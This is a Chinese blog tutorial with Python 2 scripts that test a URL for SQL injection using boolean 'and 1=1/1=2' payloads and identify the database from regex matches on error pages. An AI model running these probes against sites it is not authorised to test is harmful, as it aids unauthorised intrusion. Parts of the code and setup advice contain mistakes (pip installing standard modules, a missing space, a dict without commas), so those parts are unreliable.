关于SQL注入点的判断和数据库判别的脚本编写思路

/ 0评 / 0

这几天一直在看 python 的教程,也没写写代码,看到好几个朋友都在写工具,我这个彩笔,也写不出啥工具出来,最多写个 poc 和一些简单的 exp 。
关于 SQL 注入点,我想了半天,也只想开一个根据页面的不同,来判断是否存在注入,类似简单的手工显错判断。

首先,我们需要三个第三方库,一个是 requests , re ,time ,恩这个 time 是我纯粹为了好看加的。。

pip install requests
pip install re
pip install time

然后,通过在 URL 后面添加 and 1=1 和 and 1=2 来判段网页是否存在输入 。

sql_payload = (' and 1=1', 'and 1=2')

这里我是的元祖的形式,然后选出来套用。接下来就是一个一个在 URL 后面添加 payload 了。

page = requests.get(url)
pagea = requests.get((url+sql_payload[0]))
pageb = requests.get((url+sql_payload[1]))

最后,我直接用判段网页的方法,来对比,如果 and 1=1 ,原网页和加了 payload 返回一样,那就再继续判段加 and 1=2 是不是不一样,如果不一样,那就有可能存在 SQL 注入。

if page.text == pagea.text and page.text != pageb.text :
        print u'[+] 网址', url, u'可能存在注入!'

最后完整代码就是:

# coding:utf-8

import requests
import re
import time

def sql_pd(url):
    sql_payload = (' and 1=1', 'and 1=2')
    page = requests.get(url)
    pagea = requests.get((url+sql_payload[0]))
    pageb = requests.get((url+sql_payload[1]))
    if page.text == pagea.text and page.text != pageb.text :
        print u'[+] 网址', url, u'可能存在注入!'
        return True
    else:
        print u'[+] 网址:', url, u'不存在注入!'
        return False

a = raw_input('请输入需要测试的 URL地址:'.decode('utf-8').encode('gbk'))
print u'[+] 正在启动探测脚本,请稍等 。'
time.sleep(2)
print u'[-] 探测脚本正在探测中...'
time.sleep(2)
sql_pd(a)

那个正则的,我忘了,那个是判段数据库类型时才用的 = =!
加时间延时,纯粹的是为了图个好看。

关于数据库的判别,我一开始一直没有思路,然后看了某个大神发在实验楼的代码,瞬间有思路了。
如果一个站点存在 SQL 注入,那它的报错页面除了会出现错误的 SQL 语法,还应该出现数据库的关键词,而如果通过遍历这些关键词,和存在注入的页面对比下,如果存在了,那不就可以知道是哪个数据库类型了?

首先,我们先定义一个函数,然后在里面拼接下使页面错误的符号。

def shujuku(url):
    cw_url = url + "%29%28%22%27" # )("' 的URL编码

接下来,我们肯定还要在这个函数里接受下这个错误页面的 text 内容。

cw_ym = requests.get(cw_url).text

这里完成了,就开始重要的环节了,遍历指纹库与报错页面进行关键词对比了,这里用到的是 for 循环,但是我看着有点晕,一直想不开如何复原就去找 loid 求助了。
原句是这样的:

for (a1, a2) in ((a3, a4) for a3 in zw_shujuku for a4 in zw_shujuku[a3]):

说实在的,我看的一脸懵逼啊,实在想不开如何还原下的写法,估计是我好久没敲过代码的原因吧 = =!
然后 丁丁 给我写了一个简单的例子:

zw = {
    "mysql":('r1','r2')
    "mssql":('r3','r4')
}
for i in ((a1,a2) for a1 in zw for a2 in zw[a1]):
    print i

这个的输出结果是:

('mysql','r1')
('mysql','r2')
('mssql','r3')
('mssql','r4')

不过这样肯定还是有点迷糊的,如果换成下面的代码,就顺间理解了。

for a1 in zw:
    for a2 in zw[a1]:
        print (a1,a2)

这个的输出结果是和上面的一样的,由于第二个写法在运行上存在报错,只能用第一个写法用了。这里,我们可以直接用 a2 的内容来匹配报错页面中的关键词,然后用 a1 来输出数据库名,这样就判断出来了。
这里用正则匹配的里的 re.search 来匹配,因为它会返回第一个匹配到的相同的关键词,并返回。

if (re.search(a2,cw_ym)):
    print '这个站点的数据库可能是:',a1

对了,还有数据库指纹库的代码,这个也得贴上。

zw = {                                                         
    "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
    "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
    "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
    "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
    "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
    "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
    "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
    "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}

最后完整的判断数据库类型的代码就是:

import requests
import re

zw_shujuku = {                                                         
    "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
    "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
    "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
    "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
    "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
    "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
    "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
    "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}

def shujuku(url):
    cw_url = url + "%29%28%22%27" # )("' 的URL编码
    cw_ym = requests.get(cw_url).text
    for (a1, a2) in ((a3, a4) for a3 in zw_shujuku for a4 in zw_shujuku[a3]):
        if (re.search(a2,cw_ym)):
            print '这个站点的数据库可能是:',a1

关于简单的 SQL注入 和 数据库判别 就这样结束了,还是那句话,我这个彩笔,肯定写不出工具,最多简单的小脚本。。。

发表评论

电子邮件地址不会被公开。 必填项已用*标注